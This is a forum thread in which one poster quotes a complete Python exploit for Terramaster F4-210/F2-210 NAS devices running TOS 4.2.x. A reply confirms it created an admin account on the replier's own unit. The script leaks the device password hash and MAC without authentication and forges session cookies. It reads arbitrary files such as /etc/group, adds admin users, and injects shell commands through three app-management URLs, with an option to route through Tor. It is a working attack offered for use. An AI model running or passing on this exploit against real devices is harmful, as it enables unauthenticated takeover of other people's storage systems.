rajputonline wrote:
> I found out something online. May be this will be useful in patching.
>
> Zero-day date 2021.12.29
>
> #/bin/env python
>
> """
> Product: Terramaster F4-210, Terramaster F2-210
> Version: TOS 4.2.X (4.2.15-2107141517)
> Author: n0tme (thatsn0tmysite)
> Description: Chain from unauthenticated to root via session crafting.
> """
>
> import urllib3
> import requests
> import json
> import argparse
> import hashlib
> import time
> import os
>
> TARGET = None
> MAC_ADDRESS = None
> PWD = None
> TIMESTAMP = None
>
> def tos_encrypt_str(toencrypt):
> key = MAC_ADDRESS[6:]
> return
> hashlib.md5(f"{key}{toencrypt}".encode("utf8")).hexdigest()
>
> def user_session(session, username):
> session.cookies.clear()
> cookies = {"kod_name":username,
> "kod_token":tos_encrypt_str(PWD)}
> if username == "guest":
> cookies = {"kod_name":"guest",
> "kod_token":tos_encrypt_str("")}
>
> for name,value in cookies.items():
> session.cookies[name] = value
>
> def download(session, path, save_as=None):
> user_session(session, "guest")
> r=session.post(f"{TARGET}/module/api.php?mobile/fileDownload",
> data={"path":path})
> filename = os.path.basename(path)
> if save_as is not None:
> filename = save_as
> with open(filename, "wb") as file:
> file.write(r.content)
>
> def get_admin_users(session):
> download(session, "/etc/group",
> save_as="/tmp/terramaster_group")
> with open("/tmp/terramaster_group", "r") as groups:
> for line in groups:
> line = line.strip()
> fields = line.split(':')
> if fields[0] == "admin":
> users = fields[3].split(",")
> os.remove("/tmp/terramaster_group")
> return users
>
> if __name__ == '__main__':
> p = argparse.ArgumentParser()
> p.add_argument(dest="target", help="Target URL (e.g.
>
http://10.0.0.100:8181)")
> p.add_argument("--cmd", dest="cmd", help="Command to
> run", default="id")
> p.add_argument("-d", "--download", dest="download",
> help="Only download file", default=None)
> p.add_argument("-o", "--output", dest="save_as",
> help="Save downloaded file as", default=None)
> p.add_argument("-c", "--create", dest="create",
> help="Only create admin user (format should be admin:password)",
> default=None)
> p.add_argument("--tor", dest="tor", default=False,
> action="store_true", help="Use TOR")
> p.add_argument("--rce", dest="rce", default=0, type=int,
> help="RCE to use (1 and 2 have no output)")
> args = p.parse_args()
> urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
>
> TARGET = args.target
>
> s = requests.Session()
> if args.tor:
> s.proxies = {"http":"socks5://127.0.0.1:9050",
> "https": "socks5://127.0.0.1:9050"}
> s.headers.update({"user-device":"TNAS",
> "user-agent":"TNAS"})
>
> r=s.post(f"{TARGET}/module/api.php?mobile/wapNasIPS")
> try:
> j = r.json()
> PWD = j["data"]["PWD"]
> MAC_ADDRESS = j["data"]["ADDR"]
> except KeyError:
> exit(1)
>
> TIMESTAMP = str(int(time.time()))
> s.headers.update({"signature": tos_encrypt_str(TIMESTAMP),
> "timestamp": TIMESTAMP})
> s.headers.update({"authorization": PWD})
>
> if args.download != None:
> download(s, args.download, save_as=args.save_as)
> exit(0)
>
> #RCEs
>
> RCEs=[f"{TARGET}/tos/index.php?app/del&id=0&name=;{args.cmd};xx%23",
>
> f"{TARGET}/tos/index.php?app/hand_app&name=;{args.cmd};xx.tpk", #BLIND
>
> f"{TARGET}/tos/index.php?app/app_start_stop&id=ups&start=0&name=donotcare.*.oexe;{args.cmd};xx"]
> #BLIND
>
> for admin in get_admin_users(s):
> user_session(s, admin)
> if args.create != None:
> user, password = args.create.split(":")
> groups = json.dumps(["allusers", "admin"])
> r=s.post(f"{TARGET}/module/api.php?mobile/__construct")
>
> r=s.post(f"{TARGET}/module/api.php?mobile/set_user_information",
> data={"groups":groups,
> "username":user,"operation":"0","password":password,"capacity":""})
> if "create user successful!" in str(r.content,
> "utf8"):
> print(r.content)
> break
> continue
>
> r = s.get(RCEs[args.rce])
> content = str(r.content, "utf-8")
> if "<!--user login-->" not in content:
> print(content)
> exit(0)
Holy shit that is bad, I just tried it on mine with has the latest softeare. I ran the script "python3 script.py
http://nas:8181 -c foo:bar" and it created the admin user foo with the password bar. That totally explains it, then they can do whatever the hell they want